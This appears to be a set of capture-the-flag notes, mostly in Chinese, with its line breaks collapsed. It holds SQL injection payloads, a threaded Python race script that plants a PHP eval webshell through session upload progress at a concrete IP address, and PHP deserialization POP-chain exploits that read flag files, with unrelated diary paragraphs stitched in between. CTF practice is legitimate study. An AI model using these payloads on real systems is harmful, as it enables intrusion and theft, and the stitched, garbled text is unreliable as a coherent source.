uname=admin') AND EXTRACTVALUE(9099,CONCAT(0x5c,(select * from (select * from flag as a join flag b using(id,no))c))) --eRoM&passwd=123456&Submit=%E7%99%BB%E5%BD%95
uname=admin') ANDEXTRACTVALUE(9099,CONCAT(0x5c,(left((select `6b6d7c04-f4ff-4217-b108-79d0343ceb88` from flag),32)))) --eRoM&passwd=123456&Submit=%E7%99%BB%E5%BD%95
#coding=utf-8import ioimport requestsimport threadingsessid = 'flag'data = {"cmd":"var_dump(scandir('/etc'));","cf":"../../../../var/lib/php/sessions/aabcdbdcea/sess_"+sessid}def write(session): while True: f = io.BytesIO(b'a' * 1024 * 50) resp = session.post( 'http://123.60.214.2:26230/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php eval($_POST["cmd"]);?>'}, files={'file': ('zhushu.txt',f)}, cookies={'PHPSESSID': sessid} )def read(session): while True: resp = session.post('http://123.60.214.2:26230/',data=data) if 'zhushu.txt' in resp.text: print(resp.text) event.clear() else: print("[+++++++++++++]retry")if __name__=="__main__": event=threading.Event() with requests.session() as session: for i in range(1,30): threading.Thread(target=write,args=(session,)).start() for i in range(1,30): threading.Thread(target=read,args=(session,)).start() event.set()
<?phpclass logger{ public $logFile; public $initMsg; public $exitMsg; function __construct($file){ // initialise variables $this->initMsg="#--session started--#\n"; $this->exitMsg="#--session end--#\n"; $this->logFile = $file; readfile($this->logFile); } function log($msg){ $fd=fopen($this->logFile,"a+"); fwrite($fd,$msg."\n"); fclose($fd); } function __destruct(){ echo "this is destruct"; }}class weblog { public $weblogfile; function __construct() { $flag="system('cat /flag')"; echo "$flag"; } function __wakeup(){ // self::waf($this->filepath); $obj = new logger($this->weblogfile); } public function waf($str){ $str=preg_replace("/[<>*#'|?\n ]/","",$str); $str=str_replace('flag','',$str); return $str; } function __destruct(){ echo "this is destruct"; }}$a = new weblog();$a->weblogfile = "/flflagag";echo serialize($a);
在进入了这个专业以后，我就抱着”Excellence With a Soul”这句名言而开始探索一条属于自己的道路，坚信一个卓越的灵魂无论在哪都是闪闪发光的。现在也开始感受到了丰富而又精彩的大学生活——从严肃的学术研究到各种比赛，从学生活动到普通的社交。现在也开始慢慢感觉到自己的精力有些不够用了。这也就要艰难地在当中做出选择。例如，自己理想的专业和当前的专业之间要怎么样合理安排时间、一些诱人的比赛和项目是否有必要参加或者要花多少的精力下去、感情和学术和兴趣之间很难兼顾。这也就需要自己多加权衡，尝试做出最优解了。
听一首歌，忆一段时光。正如现在听起高考前用来睡前放松的音乐，眼前马上浮现出一幕幕高考前备战的场景一样，听起去年刚入学的时候收藏的歌，就会马上想起去年那个刚刚踏入校门的懵懂的自己。但是我却不太想听去年年末的歌曲。去年圣诞收藏的《Raindrop》仿佛预示着一年后的现在。在年末这几天，一个人在我心目中的人设已经彻底崩塌，同时自己也陷入了深深的迷茫当中，不知所措。我只能不断提醒自己，That perfect one is gone.也算是看清了吧。
key = list("adsfkndcls")text = list("killshadow")ll="ABCDEFGHIJKLMNOPQRSTUVWXYZ"a=0flag=''while(a<len(text)): for i in ll: if((ord(i)-39-ord(key[a])+ord('a'))%26+ord('a')==ord(text[a])): flag+=i a+=1 breakprint(flag)
php_mt_seed expects 1, 2, 4, or more numbers on its command line. The numbers specify constraints on mt_rand() outputs.
When invoked with only 1 number, that's the first mt_rand() output to find seeds for.
When invoked with 2 numbers, those are the bounds (minimum and maximum, in that order) that the first mt_rand() output should fall within.
When invoked with 4 numbers, the first 2 give the bounds for the first mt_rand() output and the second 2 give the range passed into mt_rand().
When invoked with 5 or more numbers, each group of 4 and then the last group of 1, 2, or (usually) 4 are processed as above, where each group refers to a corresponding mt_rand() output.
这里使用了官方wp中的脚本来处理：
str1='abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ'str2='uszkTtBiKf'str3 = str1[::-1]length = len(str2)res=''for i in range(len(str2)): for j in range(len(str1)): if str2[i] == str1[j]: res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' ' breakprint(res)
<?php//flag is in flag.php//WTF IS THIS?//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95//And Crack It!class Modifier { protected $var; public function append($value){ include($value); } public function __invoke(){ $this->append($this->var); }}class Show{ public $source; public $str; public function __construct($file='index.php'){ $this->source = $file; echo 'Welcome to '.$this->source."<br>"; } public function __toString(){ return $this->str->source; } public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; $this->source = "index.php"; } }}class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); }}if(isset($_GET['pop'])){ @unserialize($_GET['pop']);}else{ $a=new Show; highlight_file(__FILE__);}
<?phpclass Show{ public $source; public $str; public function __construct(){ $this->str=new Test(); $this->str->p=new Modifier(); }}class Test{ public $p;}class Modifier { protected $var='php://filter/read=convert.base64-encode/resource=flag.php';}$a=new Show();$a->source=new Show();echo serialize($a);
